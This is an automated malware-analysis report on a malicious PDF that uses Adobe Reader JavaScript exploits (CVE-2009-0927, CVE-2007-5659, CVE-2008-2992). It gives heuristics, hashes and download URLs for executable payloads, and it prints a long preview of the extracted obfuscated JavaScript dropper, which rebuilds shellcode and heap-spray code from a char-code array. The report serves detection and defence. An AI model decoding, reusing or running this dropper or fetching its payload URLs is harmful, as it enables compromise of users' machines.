PDF malware analysis — malicious · 50f540896f49c080

MALICIOUS

PDF

74.8 KB Created: 2010-01-01 19:46:05 Authoring application: PDF Library 4.10.1 (via PDF Library 9.3.8) First seen: 2026-05-11

MD5: daa017e4de58a042611366969446dae1 SHA-1: c4c03d3c2314d272431c4e6d710c48d5ef2bd938 SHA-256: 50f540896f49c0802c00faabf84db9402495e3a1cb236b35dd9d1eadf947cc04

532 Risk Score

Malware Insights

MITRE ATT&CK

T1204.002 Malicious File: User Execution: Malicious File T1059.001 Command and Scripting Interpreter: JavaScript/JScript

The PDF file contains embedded JavaScript that exploits multiple known vulnerabilities including CVE-2009-0927, CVE-2007-5659, and CVE-2008-2992. Static analysis also detected a suspicious extracted artifact, 'legacy_pdfkit_stage_000.js', which was flagged by ClamAV as 'Js.Exploit.Shellcode-18'. This indicates the PDF is designed to download and execute a malicious payload.

Machine Learning

Nyx PDF Classifier malicious score 0.9999

Heuristics 13

Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927

PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659

PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992

PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH

A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT

One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
JavaScript action low 3 related findings PDF_JAVASCRIPT

PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
PDF JavaScript rebuilds a builtin via replace() to run a char-code array critical PDF_JS_REPLACE_OBFUSCATED_CHARCODE_BUILDER

Decoded PDF JavaScript resolves a String builtin from a junked literal — e.g. String['eQvoaol3'.replace(/[3oQS5]/g,'')] yielding fromCharCode/eval — and feeds a large numeric char-code array through it to rebuild and execute the next stage. Dynamically reconstructing a builtin name by stripping junk characters has no benign purpose; paired with the char-code payload array it is an unambiguous obfuscated-JavaScript exploit dropper.
PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL

Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
Embedded JS stream low PDF_JS

PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
ASCIIHexDecode filter (with exploit indicators) medium PDF_FILTER_HEX

Hex-encoding filter present alongside exploit delivery indicators — often used to hide payload or shellcode bytes
PDF differential parser failed info PDF_DIFFERENTIAL_PARSE_FAILED

The cross-check parser (pdfminer.six) failed on this file: PDF differential parser failed: PSSyntaxError. Static heuristics still ran and any of their findings above are valid; only the differential cross-check signal is missing.
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
URL http://oyunland.org/fragus/fhirx2.exe Referenced by PDF JavaScript
- http://oyunland.org/fragus/click.php?r=Referenced by PDF JavaScript
- http://oyunland.org/fragus/efjqs2.exeReferenced by PDF JavaScript
- http://oyunland.org/fragus/himow2.exeReferenced by PDF JavaScript

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`javascript_obj0007_000.js`	pdf-javascript-stream	PDF /JS object 7 at offset 0x1A5	37768 bytes
SHA-256: `9916a27cf9a4ec2b7cb3934c2aa809e0a65cc4d6fe8ea0cad4343a58d35e1f5b`
Preview script First 1,000 lines of the extracted script var zwyjnl="zwyjnl";aekx=false;egprt="egprt";afxzb='';imopr="imopr";goqw='';var guzvn="guzvn",ijsy='',bjls="",aenqt='',xpzvo=0,cdow=String,frwx=cdow['fNr4o4mNC9hlaNr4Clo4dNe4'.replace(/[4lj9N]/g,'')],dhpstv=String,aelmou=dhpstv['e8vyaOly'.replace(/[y8qEO]/g,'')],gjlors="32",ahpqv="",klvwy=[64,60,60,152,168,160,150,166,156,161,161,82,153,155,171,145,156,166,91,171,148,164,166,162,95,82,159,151,161,91,174,63,61,59,60,169,155,155,159,151,83,90,172,147,165,165,163,96,159,151,161,153,167,154,83,92,83,100,83,110,83,158,152,160,92,173,64,60,60,59,60,171,148,164,166,162,83,93,112,82,172,147,165,165,163,109,64,60,60,59,176,63,61,59,60,171,148,164,166,162,83,111,83,171,148,164,166,162,97,165,168,148,166,166,165,155,161,153,91,98,95,82,159,151,161,97,101,91,110,63,61,59,60,164,152,166,168,164,161,82,172,147,165,165,163,109,64,60,60,175,64,60,64,60,60,152,168,160,150,166,156,161,161,82,168,166,156,158,146,162,165,155,161,166,153,90,92,173,64,60,60,59,169,147,165,82,163,147,172,158,162,147,151,82,112,82,168,160,152,165,150,147,163,151,91,84,88,167,120,116,120,107,88,167,99,98,99,99,88,167,104,104,99,98,88,167,116,99,105,102,88,167,99,98,102,98,88,167,99,98,99,98,88,167,103,98,107,116,88,167,107,116,99,117,88,167,100,117,106,98,88,167,107,116,116,118,88,167,99,106,103,98,88,167,118,101,104,119,88,167,107,116,104,103,88,167,107,116,120,117,88,167,99,106,103,103,88,167,102,101,104,100,88,167,118,99,119,100,88,167,99,101,118,100,88,167,100,98,102,100,88,167,107,98,103,98,88,167,99,98,102,106,88,167,121,103,106,103,88,167,118,100,107,116,88,167,104,118,104,115,88,167,99,102,118,100,88,167,104,103,99,98,88,167,120,117,107,116,88,167,104,99,104,99,88,167,104,104,104,101,88,167,105,98,104,105,88,167,104,118,107,116,88,167,102,101,99,106,88,167,107,116,118,98,88,167,99,117,106,103,88,167,121,119,107,116,88,167,106,104,99,101,88,167,107,116,102,117,88,167,106,106,103,119,88,167,118,120,99,101,88,167,104,99,107,116,88,167,104,100,100,117,88,167,104,99,107,116,88,167,104,100,101,102,88,167,106,99,107,116,88,167,103,119,100,102,88,167,106,103,107,107,88,167,107,116,121,117,88,167,101,98,106,99,88,167,121,105,99,101,88,167,103,115,108,107,88,167,103,100,116,118,88,167,102,116,105,98,88,167,121,117,104,103,88,167,99,102,106,103,88,167,118,98,102,101,88,167,102,105,120,116,88,167,121,120,102,101,88,167,103,103,99,101,88,167,108,105,99,117,88,167,118,120,107,116,88,167,106,103,116,119,88,167,101,116,121,118,88,167,103,120,121,107,88,167,120,106,104,99,88,167,121,120,108,102,88,167,121,120,121,120,88,167,118,101,102,116,88,167,106,102,105,99,88,167,120,116,99,100,88,167,107,116,119,107,88,167,99,117,103,103,88,167,104,119,108,100,88,167,121,100,99,101,88,167,120,98,119,99,88,167,118,104,99,101,88,167,118,107,102,101,88,167,117,105,99,120,88,167,104,120,99,106,88,167,120,99,118,99,88,167,99,101,99,100,88,167,99,101,118,115,88,167,107,116,118,120,88,167,99,101,99,99,88,167,107,107,118,100,88,167,121,106,103,103,88,167,107,116,105,99,88,167,121,106,103,103,88,167,104,119,104,120,88,167,118,107,104,116,88,167,104,103,118,101,88,167,120,117,107,116,88,167,120,106,104,99,88,167,121,120,103,107,88,167,121,120,121,120,88,167,105,106,104,98,88,167,105,98,120,106,88,167,99,102,117,120,88,167,105,117,120,106,88,167,121,120,121,120,88,167,102,101,121,120,88,167,104,100,119,100,88,167,121,120,104,100,88,167,99,106,106,103,88,167,119,98,121,120,88,167,103,103,107,107,88,167,107,116,121,117,88,167,121,117,103,103,88,167,118,101,118,107,88,167,107,116,104,103,88,167,107,101,120,117,88,167,99,117,120,117,88,167,103,103,107,118,88,167,104,98,121,102,88,167,103,103,118,104,88,167,106,103,121,102,88,167,103,103,118,104,88,167,106,100,121,103,88,167,103,103,118,104,88,167,105,117,121,104,88,167,103,103,118,104,88,167,105,118,121,105,88,167,103,103,118,104,88,167,105,120,121,106,88,167,103,103,118,104,88,167,105,119,121,107,88,167,103,103,118,104,88,167,101,119,121,115,88,167,103,103,118,104,88,167,105,102,121,116,88,167,103,103,118,104,88,167,105,117,121,117,88,167,103,103,118,104,88,167,105,117,121,118,88,167,103,103,118,104,88,167,99,98,121,119,88,167,116,98,120,106,88,167,121,120,121,120,88,167,104,98,121,120,88,167,104,118,105,106,88,167,100,99,107,115,88,167,120,106,100,104,88,167,121,120,100,103,88,167,121,120,121,120,88,167,118,102,107,101,88,167,107,103,99,117,88,167,106,102,118,98,88,167,105,115,100,103,88,167,105,115,99,98,88,167,121,120,99,98,88,167,99,117,106,103,88,167,106,103,121,120,88,167,105,115,99,106,88,167,121,120,99,98,88,167,107,103,119,98,88,167,106,103,118,98,88,167,103,98,99,101,88,167,118,101,118,107,88,167,118,98,102,101,88,167,118,101,118,107,88,167,102,101,104,105,88,167,107,116,118,98,88,167,101,102,103,117,88,167,107,116,99,117,88,167,101,102,106,117,88,167,121,117,99,106,88,167,116,115,121,101,88,167,118,101,104,120,88,167,103,117,107,116,88,167,99,102,101,102,88,167,102,107,107,98,88,167,107,116,99,98,88,167,106,102,118,99,88,167,103,98,99,104,88,167,102,106,107,98,88,167,106,103,99,98,88,167,101,116,121,115,88,167,118,101,118,99,88,167,107,116,104,103,88,167,107,101,120,117,88,167,105,102,120,117,88,167,107,118,104,101,88,167,121,98,103,103,88,167,102,101,104,105,88,167,104,98,119,116,88,167,103,103,118,104,88,167,105,116,121,98,88,167,103,103,118,104,88,167,105,103,121,99,88,167,103,103,118,104,88,167,106,100,121,100,88,167,103,103,118,104,88,167,105,119,121,101,88,167,103,103,118,104,88,167,105,103,121,102,88,167,103,103,118,104,88,167,105,117,121,103,88,167,103,103,118,104,88,167,102,101,121,104,88,167,103,103,118,104,88,167,102,100,121,105,88,167,103,103,118,104,88,167,101,119,121,106,88,167,103,103,118,104,88,167,105,102,121,107,88,167,103,103,118,104,88,167,105,117,121,115,88,167,103,103,118,104,88,167,105,117,121,116,88,167,104,118,107,106,88,167,120,106,121,117,88,167,121,120,99,116,88,167,121,120,121,120,88,167,105,106,104,98,88,167,103,101,105,106,88,167,107,119,121,107,88,167,107,98,120,106,88,167,121,120,121,119,88,167,107,116,121,120,88,167,107,118,121,106,88,167,108,117,103,103,88,167,103,102,105,115,88,167,120,106,104,98,88,167,121,120,106,119,88,167,121,120,121,120,88,167,103,103,107,118,88,167,105,115,120,98,88,167,104,98,100,98,88,167,106,101,120,106,88,167,121,120,121,120,88,167,107,101,121,120,88,167,100,117,118,102,88,167,103,103,107,118,88,167,104,98,120,98,88,167,103,103,107,118,88,167,104,98,108,117,88,167,104,101,104,101,88,167,104,101,104,101,88,167,104,101,104,101,88,167,106,103,121,120,88,167,118,105,99,106,88,167,108,117,103,103,88,167,99,98,103,102,88,167,99,98,99,98,88,167,121,120,104,101,88,167,104,120,119,105,88,167,117,104,99,120,88,167,104,116,118,98,88,167,118,101,118,107,88,167,107,116,104,103,88,167,104,99,120,117,88,167,104,101,104,99,88,167,104,105,104,104,88,167,103,100,105,115,88,167,106,100,120,106,88,167,99,98,99,98,88,167,107,116,99,98,88,167,102,101,119,106,88,167,107,103,121,104,88,167,104,107,119,116,88,167,103,103,118,105,88,167,105,99,121,106,88,167,105,103,101,119,88,167,118,105,106,106,88,167,121,117,103,103,88,167,99,98,105,103,88,167,99,98,99,98,88,167,104,104,106,119,88,167,103,103,107,118,88,167,104,98,121,106,88,167,120,106,104,104,88,167,99,98,104,99,88,167,99,98,99,98,88,167,104,98,104,107,88,167,117,99,120,106,88,167,121,120,121,119,88,167,107,103,121,120,88,167,104,107,118,98,88,167,106,102,104,107,88,167,107,118,102,107,88,167,99,99,103,104,88,167,120,106,104,98,88,167,99,98,102,116,88,167,99,98,99,98,88,167,121,106,107,116,88,167,103,103,107,118,88,167,104,98,121,106,88,167,101,99,120,106,88,167,121,120,121,120,88,167,107,103,121,120,88,167,104,107,118,98,88,167,106,102,104,107,88,167,104,105,99,117,88,167,99,99,120,106,88,167,121,120,121,120,88,167,104,107,121,120,88,167,103,102,118,104,88,167,121,120,102,106,88,167,104,98,106,101,88,167,103,103,107,118,88,167,121,119,121,106,88,167,104,106,99,98,88,167,103,103,107,118,88,167,104,98,121,106,88,167,120,106,104,105,88,167,121,119,106,102,88,167,121,120,121,120,88,167,104,107,104,107,88,167,103,104,103,104,88,167,121,101,102,116,88,167,116,115,106,117,88,167,104,119,104,120,88,167,118,107,104,116,88,167,104,103,118,101,88,167,120,117,107,116,88,167,104,101,104,99,88,167,105,98,105,104,88,167,102,100,117,99,88,167,99,98,120,106,88,167,99,98,99,98,88,167,104,106,99,98,88,167,99,106,102,106,88,167,99,101,106,102,88,167,120,116,103,98,88,167,103,98,121,107,88,167,104,118,107,116,88,167,107,98,99,106,88,167,103,100,121,116,88,167,99,106,106,103,88,167,119,116,102,101,88,167,100,106,107,115,88,167,118,101,107,116,88,167,100,105,120,116,88,167,100,106,102,106,88,167,100,99,106,104,88,167,102,101,103,98,88,167,107,102,118,107,88,167,106,102,119,116,88,167,103,98,99,117,88,167,99,106,102,106,88,167,121,116,106,103,88,167,121,119,103,98,88,167,120,116,118,116,88,167,102,101,121,100,88,167,107,107,118,98,88,167,121,117,103,103,88,167,103,103,107,116,88,167,104,116,121,117,88,167,118,101,118,107,88,167,99,100,102,100,88,167,106,102,105,106,88,167,106,98,106,102,88,167,101,120,102,115,88,167,105,120,101,120,88,167,106,103,106,107,88,167,105,117,105,119,88,167,105,119,105,99,88,167,101,119,105,102,88,167,106,100,105,120,88,167,101,120,105,105,88,167,106,100,105,104,88,167,105,105,105,99,88,167,106,101,106,103,88,167,105,104,101,120,88,167,105,107,105,106,88,167,106,106,106,100,88,167,101,119,102,100,88,167,106,106,105,103,88,167,99,98,105,103,88,167,106,102,105,106,88,167,106,98,106,102,88,167,101,120,102,115,88,167,105,120,101,120,88,167,106,103,106,107,88,167,105,117,105,119,88,167,105,119,105,99,88,167,101,119,105,102,88,167,106,100,105,120,88,167,101,120,105,105,88,167,106,100,105,104,88,167,105,105,105,99,88,167,106,101,106,103,88,167,105,101,101,120,88,167,105,107,105,117,88,167,105,116,105,101,88,167,106,98,101,119,88,167,106,98,105,106,88,167,106,100,102,120,88,167,99,98,102,118,85,91,110,63,61,59,60,168,148,164,83,160,162,162,83,111,83,167,161,151,166,149,148,162,152,90,85,87,168,98,116,98,116,87,168,98,116,98,116,87,168,98,116,98,116,87,168,98,116,98,116,84,92,63,61,59,60,168,148,164,83,154,152,147,163,148,159,161,150,157,83,111,83,160,162,162,83,93,83,162,148,171,159,161,148,150,110,63,61,59,60,168,148,164,83,148,156,153,149,158,162,149,158,82,112,82,168,160,152,165,150,147,163,151,91,84,88,167,99,115,99,115,88,167,99,115,99,115,85,91,110,63,61,59,60,168,148,164,83,154,152,147,151,151,165,165,156,172,152,82,112,82,101,98,110,63,61,59,60,168,148,164,83,165,163,164,148,171,83,111,83,154,152,147,151,151,165,165,156,172,152,82,94,82,155,151,148,162,149,158,162,149,158,96,159,151,161,153,167,154,110,63,61,59,60,169,155,155,159,151,83,90,149,155,154,148,159,161,150,157,97,158,152,160,154,166,155,82,111,82,166,162,165,147,172,91,174,63,61,59,60,59,149,155,154,148,159,161,150,157,83,93,112,82,149,155,154,148,159,161,150,157,110,63,61,59,60,175,64,60,60,59,169,147,165,82,153,155,159,158,149,158,162,149,158,82,112,82,149,155,154,148,159,161,150,157,97,165,168,148,166,166,165,155,161,153,91,98,95,82,166,162,165,147,172,91,110,63,61,59,60,168,148,164,83,148,159,161,150,157,83,111,83,148,156,153,149,158,162,149,158,96,166,167,149,165,167,164,156,160,154,90,99,94,83,148,156,153,149,158,162,149,158,96,159,151,161,153,167,154,96,165,163,164,148,171,92,109,64,60,60,59,170,154,156,158,152,82,91,148,159,161,150,157,97,158,152,160,154,166,155,93,166,162,165,147,172,82,111,82,99,170,103,98,99,98,99,91,174,63,61,59,60,59,149,158,162,149,158,82,112,82,149,158,162,149,158,82,94,82,149,158,162,149,158,82,94,82,153,155,159,158,149,158,162,149,158,109,64,60,60,59,176,63,61,59,60,168,148,164,83,159,152,159,146,147,165,164,148,171,83,111,83,160,152,169,83,115,165,164,148,171,91,91,110,63,61,59,60,152,162,164,83,90,169,147,165,82,156,82,112,82,99,109,83,155,83,110,83,99,103,98,99,109,83,155,94,93,92,173,64,60,60,59,60,159,152,159,146,147,165,164,148,171,142,155,144,82,112,82,149,158,162,149,158,82,94,82,155,151,148,162,149,158,162,149,158,109,64,60,60,59,176,63,61,59,60,168,148,164,83,160,168,159,83,111,83,99,101,107,108,107,108,107,108,107,108,107,108,107,108,107,108,107,108,107,108,106,107,106,107,106,107,106,107,106,107,106,107,106,107,106,107,106,107,106,107,106,107,106,107,106,107,106,107,106,107,106,107,106,107,106,107,106,107,106,107,106,107,106,107,106,107,106,107,106,107,106,107,106,107,106,107,106,107,106,107,106,107,106,107,106,107,106,107,106,107,106,107,106,107,106,107,106,107,106,107,106,107,106,107,106,107,106,107,106,107,106,107,106,107,106,107,106,107,106,107,106,107,106,107,106,107,106,107,106,107,106,107,106,107,106,107,106,107,106,107,106,107,106,107,106,107,106,107,106,107,106,107,106,107,106,107,106,107,106,107,106,107,106,107,106,107,106,107,106,107,106,107,106,107,106,107,106,107,106,107,106,107,106,107,106,107,106,107,106,107,106,107,106,107,106,107,106,107,106,107,106,107,106,107,106,107,106,107,106,107,106,107,106,107,106,107,106,107,106,107,106,107,106,107,106,107,106,107,106,107,106,107,106,107,106,107,106,107,106,107,106,107,106,107,106,107,106,107,106,107,106,107,106,107,106,107,106,107,106,107,106,107,106,107,106,107,106,107,106,107,106,107,106,107,106,107,106,107,106,107,106,107,106,107,106,107,106,107,106,107,106,107,106,107,106,107,109,64,60,60,59,168,166,156,158,97,162,165,155,161,166,153,90,85,87,103,103,99,98,99,152,85,94,83,160,168,159,92,109,64,60,60,175,64,60,64,60,60,152,168,160,150,166,156,161,161,82,150,161,159,158,148,148,146,151,160,147,156,158,91,91,174,63,61,59,60,168,148,164,83,165,155,151,159,158,150,161,151,151,83,111,83,167,161,151,166,149,148,162,152,90,85,87,168,119,117,119,108,87,168,98,99,98,100,87,168,103,105,98,99,87,168,115,100,104,103,87,168,98,99,101,99,87,168,98,99,98,99,87,168,102,99,106,117,87,168,106,117,98,118,87,168,99,118,105,99,87,168,106,117,115,119,87,168,98,107,102,99,87,168,117,102,103,120,87,168,106,117,103,104,87,168,106,117,119,118,87,168,98,107,102,104,87,168,101,102,103,101,87,168,117,100,118,101,87,168,98,102,117,101,87,168,99,99,101,101,87,168,106,99,102,99,87,168,98,99,101,107,87,168,120,104,105,104,87,168,117,101,106,117,87,168,103,119,103,116,87,168,98,103,117,101,87,168,103,104,98,99,87,168,119,118,106,117,87,168,103,100,103,100,87,168,103,105,103,102,87,168,104,99,103,106,87,168,103,119,106,117,87,168,101,102,98,107,87,168,106,117,117,99,87,168,98,118,105,104,87,168,120,120,106,117,87,168,105,105,98,102,87,168,106,117,101,118,87,168,105,107,102,120,87,168,117,121,98,102,87,168,103,100,106,117,87,168,103,101,99,118,87,168,103,100,106,117,87,168,103,101,100,103,87,168,105,100,106,117,87,168,102,120,99,103,87,168,105,104,106,108,87,168,106,117,120,118,87,168,100,99,105,100,87,168,120,106,98,102,87,168,102,116,107,108,87,168,102,101,115,119,87,168,101,117,104,99,87,168,120,118,103,104,87,168,98,103,105,104,87,168,117,99,101,102,87,168,101,106,119,117,87,168,120,121,101,102,87,168,102,104,98,102,87,168,107,106,98,118,87,168,117,121,106,117,87,168,105,104,115,120,87,168,100,117,120,119,87,168,102,121,120,108,87,168,119,107,103,100,87,168,120,121,107,103,87,168,120,121,120,121,87,168,117,102,101,117,87,168,105,103,104,100,87,168,119,117,98,101,87,168,106,117,118,108,87,168,98,118,102,104,87,168,103,120,107,101,87,168,120,101,98,102,87,168,119,99,118,100,87,168,117,105,98,102,87,168,117,108,101,102,87,168,116,106,98,121,87,168,103,121,98,107,87,168,119,100,117,100,87,168,98,102,98,101,87,168,98,102,117,116,87,168,106,117,117,121,87,168,98,102,98,100,87,168,106,108,117,101,87,168,120,107,102,104,87,168,106,117,104,100,87,168,120,107,102,104,87,168,103,120,103,121,87,168,117,108,103,117,87,168,103,104,117,102,87,168,119,118,106,117,87,168,119,107,103,100,87,168,120,121,102,108,87,168,120,121,120,121,87,168,104,107,103,99,87,168,104,99,119,107,87,168,98,103,116,121,87,168,104,118,119,107,87,168,120,121,120,121,87,168,101,102,120,121,87,168,103,101,118,101,87,168,120,121,103,101,87,168,98,107,105,104,87,168,118,99,120,121,87,168,102,104,106,108,87,168,106,117,120,118,87,168,120,118,102,104,87,168,117,102,117,108,87,168,106,117,103,104,87,168,106,102,119,118,87,168,98,118,119,118,87,168,102,104,106,119,87,168,103,99,120,103,87,168,102,104,117,105,87,168,105,104,120,103,87,168,102,104,117,105,87,168,105,101,120,104,87,168,102,104,117,105,87,168,104,118,120,105,87,168,102,104,117,105,87,168,104,119,120,106,87,168,102,104,117,105,87,168,104,121,120,107,87,168,102,104,117,105,87,168,104,120,120,108,87,168,102,104,117,105,87,168,100,120,120,116,87,168,102,104,117,105,87,168,104,103,120,117,87,168,102,104,117,105,87,168,104,118,120,118,87,168,102,104,117,105,87,168,104,118,120,119,87,168,102,104,117,105,87,168,98,99,120,120,87,168,115,99,119,107,87,168,120,121,120,121,87,168,103,99,120,121,87,168,103,119,104,107,87,168,99,100,106,116,87,168,119,107,99,105,87,168,120,121,99,104,87,168,120,121,120,121,87,168,117,103,106,102,87,168,106,104,98,118,87,168,105,103,117,99,87,168,104,116,99,104,87,168,104,116,98,99,87,168,120,121,98,99,87,168,98,118,105,104,87,168,105,104,120,121,87,168,104,116,98,107,87,168,120,121,98,99,87,168,106,104,118,99,87,168,105,104,117,99,87,168,102,99,98,102,87,168,117,102,117,108,87,168,117,99,101,102,87,168,117,102,117,108,87,168,101,102,103,106,87,168,106,117,117,99,87,168,100,103,102,118,87,168,106,117,98,118,87,168,100,103,105,118,87,168,120,118,98,107,87,168,115,116,120,102,87,168,117,102,103,121,87,168,102,118,106,117,87,168,98,103,100,103,87,168,101,108,106,99,87,168,106,117,98,99,87,168,105,103,117,100,87,168,102,99,98,105,87,168,101,107,106,99,87,168,105,104,98,99,87,168,100,117,120,116,87,168,117,102,117,100,87,168,106,117,103,104,87,168,106,102,119,118,87,168,104,103,119,118,87,168,106,119,103,102,87,168,120,99,102,104,87,168,101,102,103,106,87,168,103,99,118,117,87,168,102,104,117,105,87,168,104,117,120,99,87,168,102,104,117,105,87,168,104,104,120,100,87,168,102,104,117,105,87,168,105,101,120,101,87,168,102,104,117,105,87,168,104,120,120,102,87,168,102,104,117,105,87,168,104,104,120,103,87,168,102,104,117,105,87,168,104,118,120,104,87,168,102,104,117,105,87,168,101,102,120,105,87,168,102,104,117,105,87,168,101,101,120,106,87,168,102,104,117,105,87,168,100,120,120,107,87,168,102,104,117,105,87,168,104,103,120,108,87,168,102,104,117,105,87,168,104,118,120,116,87,168,102,104,117,105,87,168,104,118,120,117,87,168,103,119,106,107,87,168,119,107,120,118,87,168,120,121,98,117,87,168,120,121,120,121,87,168,104,107,103,99,87,168,102,102,104,107,87,168,106,120,120,108,87,168,106,99,119,107,87,168,120,121,120,120,87,168,106,117,120,121,87,168,106,119,120,107,87,168,107,118,102,104,87,168,102,103,104,116,87,168,119,107,103,99,87,168,120,121,105,120,87,168,120,121,120,121,87,168,102,104,106,119,87,168,104,116,119,99,87,168,103,99,99,99,87,168,105,102,119,107,87,168,120,121,120,121,87,168,106,102,120,121,87,168,99,118,117,103,87,168,102,104,106,119,87,168,103,99,119,99,87,168,102,104,106,119,87,168,103,99,107,118,87,168,103,102,103,102,87,168,103,102,103,102,87,168,103,102,103,102,87,168,105,104,120,121,87,168,117,106,98,107,87,168,107,118,102,104,87,168,98,99,102,103,87,168,98,99,98,99,87,168,120,121,103,102,87,168,103,121,118,106,87,168,116,105,98,121,87,168,103,117,117,99,87,168,117,102,117,108,87,168,106,117,103,104,87,168,103,100,119,118,87,168,103,102,103,100,87,168,103,106,103,105,87,168,102,101,104,116,87,168,105,101,119,107,87,168,98,99,98,99,87,168,106,117,98,99,87,168,101,102,118,107,87,168,106,104,120,105,87,168,103,108,118,117,87,168,102,104,117,106,87,168,104,100,120,107,87,168,104,104,100,120,87,168,117,106,105,107,87,168,120,118,102,104,87,168,98,99,104,104,87,168,98,99,98,99,87,168,103,105,105,120,87,168,102,104,106,119,87,168,103,99,120,107,87,168,119,107,103,105,87,168,98,99,103,100,87,168,98,99,98,99,87,168,103,99,103,108,87,168,116,100,119,107,87,168,120,121,120,120,87,168,106,104,120,121,87,168,103,108,117,99,87,168,105,103,103,108,87,168,106,119,101,108,87,168,98,100,102,105,87,168,119,107,103,99,87,168,98,99,101,117,87,168,98,99,98,99,87,168,120,107,106,117,87,168,102,104,106,119,87,168,103,99,120,107,87,168,100,100,119,107,87,168,120,121,120,121,87,168,106,104,120,121,87,168,103,108,117,99,87,168,105,103,103,108,87,168,103,106,98,118,87,168,98,100,119,107,87,168,120,121,120,121,87,168,103,108,120,121,87,168,102,103,117,105,87,168,120,121,101,107,87,168,103,99,105,102,87,168,102,104,106,119,87,168,120,120,120,107,87,168,103,107,98,99,87,168,102,104,106,119,87,168,103,99,120,107,87,168,119,107,103,106,87,168,120,120,105,103,87,168,120,121,120,121,87,168,103,108,103,108,87,168,102,105,102,105,87,168,120,102,101,117,87,168,115,116,105,118,87,168,103,120,103,121,87,168,117,108,103,117,87,168,103,104,117,102,87,168,119,118,106,117,87,168,103,102,103,100,87,168,104,99,104,105,87,168,101,101,116,100,87,168,98,99,119,107,87,168,98,99,98,99,87,168,103,107,98,99,87,168,98,107,101,107,87,168,98,102,105,103,87,168,119,117,102,99,87,168,102,99,120,108,87,168,103,119,106,117,87,168,106,99,98,107,87,168,102,101,120,117,87,168,98,107,105,104,87,168,118,117,101,102,87,168,99,107,106,116,87,168,117,102,106,117,87,168,99,106,119,117,87,168,99,107,101,107,87,168,99,100,105,105,87,168,101,102,102,99,87,168,106,103,117,108,87,168,105,103,118,117,87,168,102,99,98,118,87,168,98,107,101,107,87,168,120,117,105,104,87,168,120,120,102,99,87,168,119,117,117,117,87,168,101,102,120,101,87,168,106,108,117,99,87,168,120,118,102,104,87,168,102,104,106,117,87,168,103,117,120,118,87,168,117,102,117,108,87,168,98,101,101,101,87,168,105,103,104,107,87,168,105,99,105,103,87,168,100,121,101,116,87,168,104,121,100,121,87,168,105,104,105,108,87,168,104,118,104,120,87,168,104,120,104,100,87,168,100,120,104,103,87,168,105,101,104,121,87,168,100,121,104,106,87,168,105,101,104,105,87,168,104,106,104,100,87,168,105,102,105,104,87,168,104,104,100,121,87,168,104,116,104,105,87,168,105,102,105,100,87,168,100,120,101,101,87,168,105,107,104,104,87,168,98,99,104,104,87,168,105,103,104,107,87,168,105,99,105,103,87,168,100,121,101,116,87,168,104,121,100,121,87,168,105,104,105,108,87,168,104,118,104,120,87,168,104,120,104,100,87,168,100,120,104,103,87,168,105,101,104,121,87,168,100,121,104,106,87,168,105,101,104,105,87,168,104,106,104,100,87,168,105,102,105,104,87,168,104,102,100,121,87,168,104,108,104,118,87,168,104,117,104,102,87,168,105,99,100,120,87,168,105,99,104,107,87,168,105,101,101,121,87,168,98,99,101,119,84,92,109,64,60,60,59,169,147,165,82,160,151,160,145,148,164,165,147,172,82,112,82,161,151,170,82,116,164,165,147,172,90,92,109,64,60,60,59,169,147,165,82,150,149,83,111,83,98,171,98,150,98,150,98,150,98,150,109,64,60,60,59,169,147,165,82,148,150,151,164,83,111,83,98,171,102,99,98,99,98,99,109,64,60,60,59,169,147,165,82,166,149,146,158,152,160,83,111,83,165,155,151,159,158,150,161,151,151,97,158,152,160,154,166,155,82,93,82,101,109,64,60,60,59,169,147,165,82,159,151,161,82,112,82,148,150,151,164,83,95,83,90,166,149,146,158,152,160,94,98,171,101,107,91,110,63,61,59,60,168,148,164,83,171,148,164,166,162,83,111,83,167,161,151,166,149,148,162,152,90,85,87,168,107,99,107,99,87,168,107,99,107,99,84,92,109,64,60,60,59,172,147,165,165,163,82,112,82,153,155,171,145,156,166,91,171,148,164,166,162,95,82,159,151,161,91,110,63,61,59,60,168,148,164,83,149,162,167,161,166,101,82,112,82,91,149,150,82,96,82,99,170,103,98,99,98,99,98,92,97,148,150,151,164,110,63,61,59,60,152,162,164,83,90,169,147,165,82,150,161,168,160,167,82,112,82,99,109,83,149,162,167,161,166,83,110,83,149,162,167,161,166,101,109,83,149,162,167,161,166,94